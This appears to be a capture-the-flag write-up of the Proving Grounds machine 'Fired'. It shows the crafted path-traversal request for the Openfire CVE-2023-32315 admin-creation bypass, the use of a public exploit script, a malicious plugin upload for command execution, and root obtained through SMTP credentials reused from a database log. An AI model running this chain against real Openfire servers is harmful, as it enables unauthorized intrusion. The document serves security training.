Skip to content
HackIndex.io

Fired Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

The Husky Hacker

sysadmin

Fired runs Openfire 4.7.3, vulnerable to an unauthenticated path-traversal auth bypass (CVE-2023-32315) that reaches the setup environment's admin-creation endpoint. The new admin account uploads a malicious plugin for code execution as the openfire user, and SMTP credentials left in Openfire's embedded database log are reused for the system root account.

Reconnaissance

Nmap

Scan all ports.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -Pn $TARGET_IP -p- 
22/tcp   open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
9090/tcp open  zeus-admin?  # Openfire Admin Console
9091/tcp open  ssl/xmltec-xmlmail?  # Openfire Admin Console (HTTPS)

Port 9090 serves an Openfire 4.7.3 admin console. Openfire 4.7.3 is vulnerable to CVE-2023-32315, a path traversal in the administrative console's setup environment that lets an unauthenticated user reach admin-only pages, including the user-creation endpoint.

Exploitation

Authentication bypass to admin account creation (CVE-2023-32315)

A crafted request to the setup path traversal creates a new admin user without authentication.

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=<csrf>&username=<user>&password=<pass>&passwordConfirm=<pass>&isadmin=on&create=Create+User HTTP/1.1
Host: $TARGET_IP:9090

Use the public exploit to automate this and create a random admin account.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/miko550/CVE-2023-32315
┌──(kali㉿kali)-[~]
└─$ pip3 install -r requirements.txt
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2023-32315.py -t http://$TARGET_IP:9090 
Successfully retrieved JSESSIONID: node01txetjm2cw3551qw17ldhriupt9.node0 + csrf: efa4RxNa4vUu3fl
User added successfully: url: http://$TARGET_IP:9090 username: nf3y7f password: qiiowo

RCE via malicious plugin upload

Log in with the created admin account and, from the Plugins tab, upload the exploit's management-tool plugin JAR. Then go to Server -> Server Settings -> Management Tool, log in with its hardcoded password (123), and choose system command from the dropdown.

┌──(kali㉿kali)-[~]
└─$ id 
uid=114(openfire) gid=118(openfire) groups=118(openfire)

Privilege Escalation

SMTP credentials in Openfire's embedded database

The email settings show an SMTP account for root, but the password field only reveals a hash. Enumerate Openfire's embedded database instead.

┌──(kali㉿kali)-[~]
└─$ cd /usr/share/openfire
┌──(kali㉿kali)-[~]
└─$ ls -la
┌──(kali㉿kali)-[~]
└─$ cat /var/lib/openfire/embedded-db/openfire.log | grep smtp 
INSERT INTO OFPROPERTY VALUES('mail.smtp.username','root',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.smtp.password','$ROOT_PASSWORD',0,NULL)

The SMTP password is reused for the system root account.

┌──(kali㉿kali)-[~]
└─$ python3 -c 'import pty;pty.spawn("/bin/bash")'
┌──(kali㉿kali)-[~]
└─$ su root 
Password:
root@openfire:~# id
uid=0(root) gid=0(root) groups=0(root)

Related

Directory Traversal
Blog

Directory Traversal

Exploit path traversal vulnerabilities in web apps to access files outside the webroot using encoded...
File Upload Exploitation
Blog

File Upload Exploitation

Exploit insecure file upload endpoints to achieve RCE by bypassing extension filters, MIME validatio...
SMTP Credential Attacks
Blog

SMTP Credential Attacks

Exploiting SMTP authentication weaknesses via brute force, credential stuffing, and relay abuse to g...
Credential Reuse for Lateral Movement on Linux
Blog

Credential Reuse for Lateral Movement on Linux

Techniques for exploiting reused credentials across Linux systems to move laterally, covering SSH, s...

References